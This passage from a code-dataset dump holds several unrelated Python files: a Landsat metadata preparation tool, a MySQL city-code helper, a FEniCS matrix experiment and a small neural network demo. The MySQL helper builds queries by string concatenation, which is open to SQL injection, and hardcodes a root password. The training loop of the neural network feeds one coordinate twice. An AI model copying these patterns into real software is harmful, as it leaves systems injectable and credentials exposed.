supported.\"\n )\n\n data_format = None\n if isinstance(coll_map[\"product_contents_of\"], list):\n for leveln in coll_map[\"product_contents_of\"]:\n if leveln in mtl_doc:\n data_format = mtl_doc[leveln][\"output_format\"]\n break\n else:\n data_format = mtl_doc[coll_map[\"product_contents_of\"]][\"output_format\"]\n if data_format.upper() != \"GEOTIFF\":\n raise NotImplementedError(f\"Only GTiff currently supported, got {data_format}\")\n file_format = FileFormat.GeoTIFF\n\n # Assumed below.\n projection_params = None\n if isinstance(coll_map[leveln_key_prefix + \"_projection_parameters\"], list):\n for leveln in coll_map[leveln_key_prefix + \"_projection_parameters\"]:\n if leveln in mtl_doc:\n projection_params = mtl_doc[leveln]\n break\n else:\n projection_params = mtl_doc[\n coll_map[leveln_key_prefix + \"_projection_parameters\"]\n ]\n if (\n \"grid_cell_size_thermal\" in projection_params\n and \"grid_cell_size_reflective\" in projection_params\n and (\n projection_params[\"grid_cell_size_reflective\"]\n != projection_params[\"grid_cell_size_thermal\"]\n )\n ):\n raise NotImplementedError(\"reflective and thermal have different cell sizes\")\n ground_sample_distance = min(\n value\n for name, value in projection_params.items()\n if name.startswith(\"grid_cell_size_\")\n )\n\n leveln_product_id = None\n leveln_processed = None\n leveln_landsat_data_type = None\n if isinstance(coll_map[leveln_key_prefix + \"_processing_record\"], list):\n for leveln in coll_map[leveln_key_prefix + \"_processing_record\"]:\n if leveln in mtl_doc:\n leveln_product_id = mtl_doc[leveln][\"landsat_product_id\"]\n leveln_processed = mtl_doc[leveln][\"date_product_generated\"]\n leveln_landsat_data_type = mtl_doc[leveln][\"processing_level\"]\n break\n else:\n leveln_product_id = mtl_doc[coll_map[leveln_key_prefix + \"_processing_record\"]][\n \"landsat_product_id\"\n ]\n leveln_processed = mtl_doc[coll_map[leveln_key_prefix + \"_processing_record\"]][\n \"file_date\"\n ] # for C1 only\n leveln_landsat_data_type = mtl_doc[coll_map[\"product_contents_of\"]][\"data_type\"]\n\n with DatasetPrepare(\n metadata_path=output_yaml_path,\n dataset_location=ds_path,\n # Detministic ID based on USGS's product id (which changes when the scene is reprocessed by them)\n dataset_id=uuid.uuid5(USGS_UUID_NAMESPACE, leveln_product_id),\n naming_conventions=\"dea\",\n ) as p:\n if source_telemetry:\n if producer != \"ga.gov.au\":\n raise NotImplementedError(\n \"Only GA's L1 data is expected to have telemetry source data?\"\n )\n p.add_source_path(source_telemetry)\n\n p.platform = mtl_doc[coll_map[\"image_attributes\"]][\"spacecraft_id\"]\n p.instrument = mtl_doc[coll_map[\"image_attributes\"]][\"sensor_id\"]\n p.product_family = \"level\" + leveln_landsat_data_type[1]\n p.producer = producer\n p.datetime = \"{}T{}\".format(\n mtl_doc[coll_map[\"image_attributes\"]][\"date_acquired\"],\n mtl_doc[coll_map[\"image_attributes\"]][\"scene_center_time\"],\n )\n p.processed = leveln_processed\n if collection_key == \"C2\":\n p.properties[\"landsat:data_type\"] = leveln_landsat_data_type\n p.properties[\"odc:file_format\"] = file_format\n p.properties[\"eo:gsd\"] = ground_sample_distance\n cloud_cover = mtl_doc[\"image_attributes\"][\"cloud_cover\"]\n # Cloud cover is -1 when missing (such as TIRS-only data)\n if cloud_cover != -1:\n p.properties[\"eo:cloud_cover\"] = cloud_cover\n p.properties[\"eo:sun_azimuth\"] = mtl_doc[\"image_attributes\"][\"sun_azimuth\"]\n p.properties[\"eo:sun_elevation\"] = mtl_doc[\"image_attributes\"][\"sun_elevation\"]\n p.properties[\"landsat:collection_number\"] = usgs_collection_number\n for section, fields in _COPYABLE_MTL_FIELDS[collection_key]:\n if section in mtl_doc:\n for field in fields:\n value = mtl_doc[section].get(field)\n if (\n value is not None\n and p.properties.get(f\"landsat:{field}\") is None\n ):\n p.properties[f\"landsat:{field}\"] = value\n\n p.region_code = f\"{p.properties['landsat:wrs_path']:03d}{p.properties['landsat:wrs_row']:03d}\"\n org_collection_number = utils.get_collection_number(\n p.platform, p.producer, p.properties[\"landsat:collection_number\"]\n )\n p.dataset_version = f\"{org_collection_number}.0.{p.processed:%Y%m%d}\"\n\n # NRT product?\n # Category is one of: T1, T2 or RT ('real time')\n if p.properties[\"landsat:collection_category\"] == \"RT\":\n p.properties[\"dea:dataset_maturity\"] = \"nrt\"\n\n band_aliases = get_band_alias_mappings(p.platform, p.instrument)\n for usgs_band_id, file_location in _iter_bands_paths(\n mtl_doc[coll_map[\"product_contents_fn\"]]\n ):\n p.note_measurement(\n band_aliases[usgs_band_id],\n file_location,\n relative_to_dataset_location=True,\n expand_valid_data=usgs_band_id != \"quality\",\n )\n if collection_key == \"C2\":\n p.note_measurement(\n band_aliases[\"quality\"],\n mtl_doc[coll_map[\"product_contents_fn\"]][\"file_name_quality_l1_pixel\"],\n relative_to_dataset_location=True,\n expand_valid_data=False,\n )\n if (\n \"file_name_quality_l2_aerosol\"\n in mtl_doc[coll_map[\"product_contents_fn\"]]\n ):\n p.note_measurement(\n band_aliases[\"qa_aerosol\"],\n mtl_doc[coll_map[\"product_contents_fn\"]][\n \"file_name_quality_l2_aerosol\"\n ],\n relative_to_dataset_location=True,\n expand_valid_data=False,\n )\n if (\n \"file_name_quality_l2_surface_reflectance_cloud\"\n in mtl_doc[coll_map[\"product_contents_fn\"]]\n ):\n p.note_measurement(\n band_aliases[\"cloud_qa\"],\n mtl_doc[coll_map[\"product_contents_fn\"]][\n \"file_name_quality_l2_surface_reflectance_cloud\"\n ],\n relative_to_dataset_location=True,\n expand_valid_data=False,\n )\n if (\n \"file_name_atmospheric_opacity\"\n in mtl_doc[coll_map[\"product_contents_fn\"]]\n ):\n p.note_measurement(\n band_aliases[\"atmos_opacity\"],\n mtl_doc[coll_map[\"product_contents_fn\"]][\n \"file_name_atmospheric_opacity\"\n ],\n relative_to_dataset_location=True,\n expand_valid_data=False,\n )\n p.note_accessory_file(\"metadata:landsat_mtl\", Path(mtl_filename))\n return p.done(embed_location=embed_location)\n\n\n@click.command(help=__doc__)\n@click.option(\n \"--output-base\",\n help=\"Write metadata files into a directory instead of alongside each dataset\",\n required=False,\n type=PathPath(exists=True, writable=True, dir_okay=True, file_okay=False),\n)\n@click.option(\n \"--source\",\n \"source_telemetry\",\n help=\"Path to the source telemetry data for all of the provided datasets\"\n \"(either the folder or metadata file)\",\n required=False,\n type=PathPath(exists=True),\n)\n@click.option(\n \"--embed-location/--no-embed-location\",\n is_flag=True,\n help=\"Embed the location of the dataset in the metadata \"\n \"(if you wish to store them separately)\",\n)\n@click.option(\n \"--producer\",\n help=\"Organisation that produced the data: probably either 'ga.gov.au' or 'usgs.gov'.\",\n required=False,\n default=\"usgs.gov\",\n)\n@click.argument(\n \"datasets\", type=PathPath(exists=True, readable=True, writable=False), nargs=-1\n)\n@click.option(\n \"--overwrite-existing/--skip-existing\",\n is_flag=True,\n default=False,\n help=\"Overwrite if exists (otherwise skip)\",\n)\n@click.option(\n \"--newer-than\",\n type=serialise.ClickDatetime(),\n default=None,\n help=\"Only process files newer than this date\",\n)\ndef main(\n output_base: Optional[Path],\n datasets: List[Path],\n overwrite_existing: bool,\n producer: str,\n embed_location: bool,\n source_telemetry: Optional[Path],\n newer_than: datetime,\n):\n logging.basicConfig(\n format=\"%(asctime)s %(levelname)s %(message)s\", level=logging.INFO\n )\n with rasterio.Env():\n for ds in datasets:\n if output_base:\n output = output_base.absolute().joinpath(\n *utils.subfolderise(_dataset_region_code(ds))\n )\n output.mkdir(parents=True, exist_ok=True)\n else:\n # Alongside the dataset itself.\n output = ds.absolute().parent\n\n ds_path = _normalise_dataset_path(Path(ds).absolute())\n (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(ds)\n create_date = datetime.utcfromtimestamp(ctime)\n if newer_than and (create_date <= newer_than):\n logging.info(\n \"Creation time {} older than start date {:%Y-%m-%d %H:%M} ...SKIPPING {}\".format(\n newer_than - create_date, newer_than, ds_path.name\n )\n )\n continue\n\n logging.info(\"Processing %s\", ds_path)\n output_yaml = output / f\"{_dataset_name(ds_path)}.odc-metadata.yaml\"\n\n if output_yaml.exists():\n if not overwrite_existing:\n logging.info(\"Output exists: skipping. %s\", output_yaml)\n continue\n\n logging.info(\"Output exists: overwriting %s\", output_yaml)\n\n output_uuid, output_path = prepare_and_write(\n ds_path,\n output_yaml,\n producer=producer,\n source_telemetry=source_telemetry,\n embed_location=embed_location,\n )\n logging.info(\"Wrote dataset %s to %s\", output_uuid, output_path)\n\n\ndef _normalise_dataset_path(input_path: Path) -> Path:\n \"\"\"\n Dataset path should be either the direct imagery folder (mtl+bands) or a tar path.\n\n Translate other inputs (example: the MTL path) to one of the two.\n\n >>> import tempfile\n >>> tmppath = Path(tempfile.mkdtemp())\n >>> ds_path = tmppath.joinpath('LE07_L1GT_104078_20131209_20161119_01_T1')\n >>> ds_path.mkdir()\n >>> mtl_path = ds_path / 'LC08_L1TP_090084_20160121_20170405_01_T1_MTL.txt'\n >>> mtl_path.write_text('<mtl content>')\n 13\n >>> _normalise_dataset_path(ds_path).relative_to(tmppath).as_posix()\n 'LE07_L1GT_104078_20131209_20161119_01_T1'\n >>> _normalise_dataset_path(mtl_path).relative_to(tmppath).as_posix()\n 'LE07_L1GT_104078_20131209_20161119_01_T1'\n >>> tar_path = tmppath / 'LS_L1GT.tar.gz'\n >>> tar_path.write_text('fake tar')\n 8\n >>> _normalise_dataset_path(tar_path).relative_to(tmppath).as_posix()\n 'LS_L1GT.tar.gz'\n >>> _normalise_dataset_path(Path(tempfile.mkdtemp()))\n Traceback (most recent call last):\n ...\n ValueError: No MTL files within input path .... Not a dataset?\n \"\"\"\n input_path = normalise_nci_symlinks(input_path)\n if input_path.is_file():\n if \".tar\" in input_path.suffixes:\n return input_path\n input_path = input_path.parent\n\n mtl_files = list(input_path.rglob(\"*_MTL.txt\"))\n\n if not mtl_files:\n raise ValueError(\n f\"No MTL files within input path '{input_path}'. Not a dataset?\"\n )\n if len(mtl_files) > 1:\n raise ValueError(\n f\"Multiple MTL files in a single dataset (got path: {input_path})\"\n )\n return input_path\n\n\ndef normalise_nci_symlinks(input_path: Path) -> Path:\n \"\"\"\n If it's an NCI lustre path, always use the symlink (`/g/data`) rather than specific drives (eg. `/g/data2`).\n\n >>> normalise_nci_symlinks(Path('/g/data2/v10/some/dataset.tar')).as_posix()\n '/g/data/v10/some/dataset.tar'\n >>> normalise_nci_symlinks(Path('/g/data1a/v10/some/dataset.tar')).as_posix()\n '/g/data/v10/some/dataset.tar'\n >>> # Don't change other paths!\n >>> normalise_nci_symlinks(Path('/g/data/v10/some/dataset.tar')).as_posix()\n '/g/data/v10/some/dataset.tar'\n >>> normalise_nci_symlinks(Path('/Users/testuser/unrelated-path.yaml')).as_posix()\n '/Users/testuser/unrelated-path.yaml'\n \"\"\"\n match = re.match(r\"^/g/data[0-9a-z]+/(.*)\", str(input_path))\n if not match:\n return input_path\n\n [offset] = match.groups()\n return Path(\"/g/data/\" + offset)\n\n\ndef _dataset_name(ds_path: Path) -> str:\n \"\"\"\n >>> _dataset_name(Path(\"example/LE07_L1GT_104078_20131209_20161119_01_T1.tar.gz\"))\n 'LE07_L1GT_104078_20131209_20161119_01_T1'\n >>> _dataset_name(Path(\"example/LE07_L1GT_104078_20131209_20161119_01_T1.tar\"))\n 'LE07_L1GT_104078_20131209_20161119_01_T1'\n >>> _dataset_name(Path(\"example/LE07_L1GT_104078_20131209_20161119_01_T2\"))\n 'LE07_L1GT_104078_20131209_20161119_01_T2'\n \"\"\"\n # This is a little simpler than before :)\n return ds_path.stem.split(\".\")[0]\n\n\ndef _dataset_region_code(ds_path: Path) -> str:\n \"\"\"\n >>> _dataset_region_code(Path(\"example/LE07_L1GT_104078_20131209_20161119_01_T1.tar.gz\"))\n '104078'\n >>> _dataset_region_code(Path(\"example/LE07_L1GT_104078_20131209_20161119_01_T1.tar\"))\n '104078'\n >>> _dataset_region_code(Path(\"example/LE07_L1GT_104078_20131209_20161119_01_T2\"))\n '104078'\n \"\"\"\n return _dataset_name(ds_path).split(\"_\")[2]\n\n\nif __name__ == \"__main__\":\n main()\n", "sub_path": "eodatasets3/prepare/landsat_l1_prepare.py", "file_name": "landsat_l1_prepare.py", "file_ext": "py", "file_size_in_byte": 24587, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "uuid.UUID", "line_number": 94, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 130, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 162, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 201, "usage_type": "name"}, {"api_name": "tarfile.TarFile", "line_number": 208, "usage_type": "attribute"}, {"api_name": "typing.Generator", "line_number": 208, "usage_type": "name"}, {"api_name": "tarfile.TarInfo", "line_number": 208, "usage_type": "attribute"}, {"api_name": "tarfile.is_tarfile", "line_number": 223, "usage_type": "call"}, {"api_name": "tarfile.open", "line_number": 224, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 201, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 201, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 247, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 247, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 248, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 266, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 266, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 267, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 247, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 247, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 292, "usage_type": "name"}, {"api_name": "typing.Generator", "line_number": 292, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 292, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 302, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 303, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 304, "usage_type": "name"}, {"api_name": "eodatasets3.properties.FileFormat.GeoTIFF", "line_number": 338, "usage_type": "attribute"}, {"api_name": "eodatasets3.properties.FileFormat", "line_number": 338, "usage_type": "name"}, {"api_name": "eodatasets3.DatasetPrepare", "line_number": 385, "usage_type": "call"}, {"api_name": "uuid.uuid5", "line_number": 389, "usage_type": "call"}, {"api_name": "eodatasets3.utils.get_collection_number", "line_number": 430, "usage_type": "call"}, {"api_name": "eodatasets3.utils", "line_number": 430, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 493, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 308, "usage_type": "name"}, {"api_name": "uuid.UUID", "line_number": 308, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 308, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 540, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 540, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 541, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 541, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 545, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 545, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 546, "usage_type": "name"}, {"api_name": "logging.basicConfig", "line_number": 548, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 549, "usage_type": "attribute"}, {"api_name": "rasterio.Env", "line_number": 551, "usage_type": "call"}, {"api_name": "eodatasets3.utils.subfolderise", "line_number": 555, "usage_type": "call"}, {"api_name": "eodatasets3.utils", "line_number": 555, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 562, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 563, "usage_type": "call"}, {"api_name": "datetime.datetime.utcfromtimestamp", "line_number": 564, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 564, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 566, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 573, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 578, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 581, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 590, "usage_type": "call"}, {"api_name": "click.command", "line_number": 497, "usage_type": "call"}, {"api_name": "click.option", "line_number": 498, "usage_type": "call"}, {"api_name": "eodatasets3.ui.PathPath", "line_number": 502, "usage_type": "call"}, {"api_name": "click.option", "line_number": 504, "usage_type": "call"}, {"api_name": "eodatasets3.ui.PathPath", "line_number": 510, "usage_type": "call"}, {"api_name": "click.option", "line_number": 512, "usage_type": "call"}, {"api_name": "click.option", "line_number": 518, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 524, "usage_type": "call"}, {"api_name": "eodatasets3.ui.PathPath", "line_number": 525, "usage_type": "call"}, {"api_name": "click.option", "line_number": 527, "usage_type": "call"}, {"api_name": "click.option", "line_number": 533, "usage_type": "call"}, {"api_name": "eodatasets3.serialise.ClickDatetime", "line_number": 535, "usage_type": "call"}, {"api_name": "eodatasets3.serialise", "line_number": 535, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 593, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 639, "usage_type": "name"}, {"api_name": "re.match", "line_number": 653, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 658, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 661, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 674, "usage_type": "name"}]} {"seq_id": "630861326", "text": "#!/usr/bin/env python3\n\n#该模块负责从数据库中存取城市缩写代码\n#这个缩写代码是用来查询航班用的\n\nimport pymysql\nimport ssutil\n\nclass citydb:\n #初始化创建数据库连接, 创建数据库, 数据表\n def __init__(self):\n self.cursor = None\n self.db = pymysql.connect(host='127.0.0.1', user='root', passwd='Qwertyui123456', charset='utf8')\n if self.db:\n cursor = self.db.cursor(pymysql.cursors.DictCursor)\n if cursor:\n self.cursor = cursor\n\n #'ctrip' data base\n cursor.execute(\"SET sql_notes = 0; \")\n cursor.execute(\"create database IF NOT EXISTS travel\")\n cursor.execute(\"USE travel;\")\n\n #'city code table'\n cursor.execute(\"SET sql_notes = 0; \")\n cursor.execute(\"create table IF NOT EXISTS city_list (name VARCHAR(50), code VARCHAR(50), primary key(name)) charset = utf8;\")\n cursor.execute(\"SET sql_notes = 1; \") \n\n else:\n ssutil.error(\"cursor create error\")\n else:\n ssutil.error(\"database connect error\")\n\n #析构注意关闭cursor和connection\n def __del__(self):\n if self.cursor:\n self.cursor.close()\n\n if self.db:\n self.db.close()\n\n #return code of city named 'name'\n #上海->SHA, 北京->BJS\n def find_city_code(self, name):\n code = None\n if len(name) > 0:\n command = \"select code from city_list where name = '\" + name + \"';\"\n self.cursor.execute(command)\n item = self.cursor.fetchone()\n if item:\n code = item.get('code')\n\n return code\n\n #{name, code}\n #将ctrip返回的城市代码数据存入数据库\n def add_city_list(self, map):\n for name in map:\n code = map[name]\n data = \"insert into city_list (name, code) values('\"\n data += name\n data += \"', '\"\n data += code\n data += \"');\"\n #print(data)\n self.cursor.execute(data)\n self.db.commit()\n\n #城市代码数据库是否存在\n def city_list_exist(self):\n command = \"select * from city_list;\"\n self.cursor.execute(command)\n city_list = self.cursor.fetchall()\n if len(city_list) > 0:\n return True\n else:\n return False;\n \n ", "sub_path": "citydb.py", "file_name": "citydb.py", "file_ext": "py", "file_size_in_byte": 2164, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pymysql.connect", "line_number": 13, "usage_type": "call"}, {"api_name": "pymysql.cursors", "line_number": 15, "usage_type": "attribute"}, {"api_name": "ssutil.error", "line_number": 30, "usage_type": "call"}, {"api_name": "ssutil.error", "line_number": 32, "usage_type": "call"}]} {"seq_id": "120791453", "text": "from __future__ import print_function\nfrom dolfin import *\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# create meshes :\nnx,ny,nz = 2,2,2\nmesh = UnitCubeMesh(nx, ny, nz)\n\n#===============================================================================\n# create a MeshFunction for marking boundaries :\nff = MeshFunction('size_t', mesh, 2)\n\n# initialize to zero :\nff.set_all(0)\n\n# iterate through the facets and mark each if on a boundary :\n#\n# 1 = ..... top | 4 = ..... West side\n# 2 = ..... bottom | 5 = ..... North side\n# 3 = ..... East side | 6 = ..... South side\nfor f in facets(mesh):\n\tn = f.normal() # unit normal vector to facet f\n\tif n.z() > DOLFIN_EPS and f.exterior(): ff[f] = 1\n\telif n.z() < -DOLFIN_EPS and f.exterior(): ff[f] = 2\n\telif n.x() > DOLFIN_EPS and n.y() < DOLFIN_EPS and f.exterior(): ff[f] = 3\n\telif n.x() < -DOLFIN_EPS and n.y() < DOLFIN_EPS and f.exterior(): ff[f] = 4\n\telif n.y() > DOLFIN_EPS and n.x() < DOLFIN_EPS and f.exterior(): ff[f] = 5\n\telif n.y() < -DOLFIN_EPS and n.x() < DOLFIN_EPS and f.exterior(): ff[f] = 6\n\n# Define function spaces\nP2 = VectorElement(\"Lagrange\", mesh.ufl_cell(), 2)\nP1 = FiniteElement(\"Lagrange\", mesh.ufl_cell(), 1)\nTH = P2 * P1\nW = FunctionSpace(mesh, P1)\n\n# form boundary condition over the top face :\nm_x_bc = DirichletBC(W, 11, ff, 1)\n\n# get the dofs of just the top face :\nb_x_dofs = np.array(m_x_bc.get_boundary_values().keys(), dtype=np.intc)\n\n# sort the dofs (the dict is not sorted) :\nb_x_dofs.sort()\n\n# create pseudo-transformation matrix (not really a transformation matrix, but\n# this is not related to the problem) :\nT = PETScMatrix(mpi_comm_world())\nT.mat().setSizes([W.dim()]*2)\nT.mat().setType(\"aij\")\nT.mat().setUp()\nT.mat().assemble()\nT.ident_zeros()\n\nPETSc_MAT_NEW_NONZERO_ALLOCATION_ERR = 19\nPETSc_FALSE = 0\nT.mat().setOption(PETSc_MAT_NEW_NONZERO_ALLOCATION_ERR, PETSc_FALSE)\n\nfor i in b_x_dofs:\n\tprint(i)\n\tblock = np.array([1], dtype = np.float_)\n\trows = np.array([i], dtype = np.intc)\n\tcols = np.array([i], dtype = np.intc)\n\tT.set(block,rows,cols)\n\nT.apply('insert')\n\n# define variational problem :\nu = TrialFunction(W)\nv = TestFunction(W)\nf = Constant(0.0)\na = inner(grad(u), grad(v)) * dx\nL = inner(f, v)*dx\n\n# assemble the stiffness and rhs :\nA = assemble(a)\nb = assemble(L)\n\n# get the underlying matricies and vector to operate on :\nT = as_backend_type(T).mat()\nA = as_backend_type(A).mat()\nb = as_backend_type(b).vec()\n\n# pseudo transform the system of equations TAT^T x = T b :\nA_n = Matrix(PETScMatrix(T))\n#A_n = Matrix(PETScMatrix(T.matMult(A).matTransposeMult(T)))\nb_n = Vector(PETScVector(T * b))\n\n# convert back to dolfin matrix :\nA = Matrix(PETScMatrix(A))\nT = Matrix(PETScMatrix(T))\n\n# plot the resulting matrices :\nfig = plt.figure(figsize=(12,4))\nax1 = fig.add_subplot(131)\nax2 = fig.add_subplot(132)\nax3 = fig.add_subplot(133)\n\nax1.imshow(T.array())\nax2.imshow(A.array())\nax3.imshow(A_n.array())\n\nplt.tight_layout()\nplt.show()\n\n# find where A_n is zero on the diagonal :\nzero = np.array(np.where(A_n.array() == 0))\nzero_diag = zero[0][np.where(zero[0] == zero[1])[0]]\n\n## get the diagonal of A_n :\n#A_n_diag = Vector(mpi_comm_world(), A_n.size(0))\n#A_n.get_diagonal(A_n_diag)\n#\n## set the elements of A_n that are zero on the diagonal to a large number :\n#A_n_diag_a = A_n_diag.get_local()\n#A_n_diag_a[zero_diag] = 1e8\n#A_n_diag.set_local(A_n_diag_a)\n#A_n_diag.apply('insert')\n#A_n.set_diagonal(A_n_diag)\n\n# apply boundary conditions to the modified system :\nm_x_bc.apply(A_n)\nm_x_bc.apply(b_n)\n\n\n", "sub_path": "tensor_manipulation_2.py", "file_name": "tensor_manipulation_2.py", "file_ext": "py", "file_size_in_byte": 3696, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.array", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.intc", "line_number": 41, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.float_", "line_number": 61, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.intc", "line_number": 62, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.intc", "line_number": 63, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 94, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 108, "usage_type": "call"}]} {"seq_id": "366637563", "text": "# -*-coding:Latin-1 -*\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# CREATION DE L'ENSEMBLE DES DONNEES (3 classes avec la distribution Gaussienne)\nN = 150\nm1x, m1y, s1 = 10, 10, 1\nm2x, m2y, s2 = 5, 5, 1\nm3x, m3y, s3 = 1, 1, 1\n\nc1x1 = np.random.normal(m1x, s1, N/3) # coordonnees x des points dans la classe 1\nc1x2 = np.random.normal(m1y, s1, N/3) # coordonnees y des points\n\nc2x1 = np.random.normal(m2x, s2, N/3) # coordonnees x des points dans la classe 2\nc2x2 = np.random.normal(m2y, s2, N/3) # coordonnees y des points\n\nc3x1 = np.random.normal(m3x, s3, N/3) # coordonnees x des points dans la classe 3\nc3x2 = np.random.normal(m3y, s3, N/3) # coordonnees y des points\n\ndatax1 = np.hstack([c1x1, c2x1, c3x1]) # stocker les coordonees x des deux classes \ndatax2 = np.hstack([c1x2, c2x2, c3x2]) # stocker les coordonees y des deux classes\n\nlabels = ['r']*(N/3) + ['g']*(N/3) + ['b']*(N/3) # etiquettes de motifs \n # 'r' - classe 1, 'g' - classe 2, 'b' - classe 3\n\nindex = np.random.permutation(range(N)) # permuter aleatoirement les indices\ndatax1 = datax1[index] # permuter les x \ndatax2 = datax2[index] # permuter les y\nlabels = [labels[i] for i in index] # permuter les etiquettes \n # (traitement special car 'labels' est un tableau des objets)\n\nsigmoid = lambda a: 1./(1 + np.exp(-a)) # definition d'une function sigmoide\nsig_prime = lambda a: sigmoid(a)* (1 - sigmoid(a)) # derivee de la fonction sigmoide\n\n# APPRENTISSAGE PAR LA DESCENTE DU GRADIENT\nT = 10000 # nombre d'itérations\neta = 0.01 # taux d'apprentissage (learning rate)\nW1 = np.random.rand(10,3)-0.5 # premiere couche de poids : 1 neurones d'entrée + biais, 10 neurones cachés\nW2 = np.random.rand(3,11)-0.5 # deuxieme couche de poids : 10 neurones caché + biais, 1 sortie\n\nfor i in range(T):\n \n # activite du reseau\n p = np.random.randint(N) # choix d'un indice aleatoire parmi N\n x = np.array([1, datax1[p], datax1[p] ]) # vecteur des entrées\n a = np.dot( W1, x) # activation des neurones caches\n z = sigmoid(a) # activite des neurones caches\n\n z = np.insert(z, 0, 1.) # ajouter le bias aux neurones cachés\n y = np.dot(W2, z) # calculer la activite du neurone de sortie\n\n # apprentissage\n if labels[p] == 'r':\n target = np.array([1,0,0])\n elif labels[p] == 'g':\n target = np.array([0,1,0])\n else:\n target = np.array([0,0,1])\n\n delta = y - target # erreur delta\n W2 = W2 - eta * np.outer(delta, z) # regle d'apprentissage pour la deuxieme couche\n\n delta_h = sig_prime(a) * np.dot( W2.T, delta)[1:] # retropropagation d'erreur\n W1 = W1 - eta * np.outer(delta_h, x) # regle d'apprentissage pour la premiere couche\n \n# CLASSIFICATION \nclasse = []\nfor i in range(N):\n \n # activite du reseau\n x = np.array([1, datax1[i], datax2[i]]) # i-ème motif\n a = np.dot( W1, x) # activation des neurones caches\n z = sigmoid(a) # activite des neurones caches\n\n z = np.insert(z, 0, 1.) # ajouter le bias\n y = np.dot(W2, z) # calculer la activite du neurone de sortie\n\n # classification\n ind_max = np.argmax(y)\n\n if ind_max == 0: \n classe.append('r')\n elif ind_max == 1:\n classe.append('g')\n else:\n classe.append('b')\n\n# graphiques\nplt.figure(1); plt.clf(); # plt.show() \n\n# l'ensemble des donnees\nplt.subplot(211)\nplt.scatter( datax1, datax2, c = labels ) # donnees\nplt.axhline(0, ls=':', color='k') # ligne horizontale pointillee (':') noire ('k')\nplt.axvline(0, ls=':', color='k') # ligne verticale pointillee (':') noire ('k')\nplt.xlabel(\"x1\")\nplt.ylabel(\"x2\")\nplt.axis('scaled') \nplt.title(\"L'ensemble des donnees\")\nplt.draw()\n\n# resultat de classification \nplt.subplot(212)\nplt.scatter( datax1, datax2, c = classe )\nplt.axhline(0, ls=':', color='k')\nplt.axvline(0, ls=':', color='k')\nplt.axis('scaled')\nplt.xlabel(\"x1\")\nplt.ylabel(\"x2\")\nplt.title('classification')\nplt.draw()\n\nplt.show() \n", "sub_path": "MMCN/TME7/TD2/ml_3classes.py", "file_name": "ml_3classes.py", "file_ext": "py", "file_size_in_byte": 4723, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.random.normal", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 11, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 12, "usage_type": 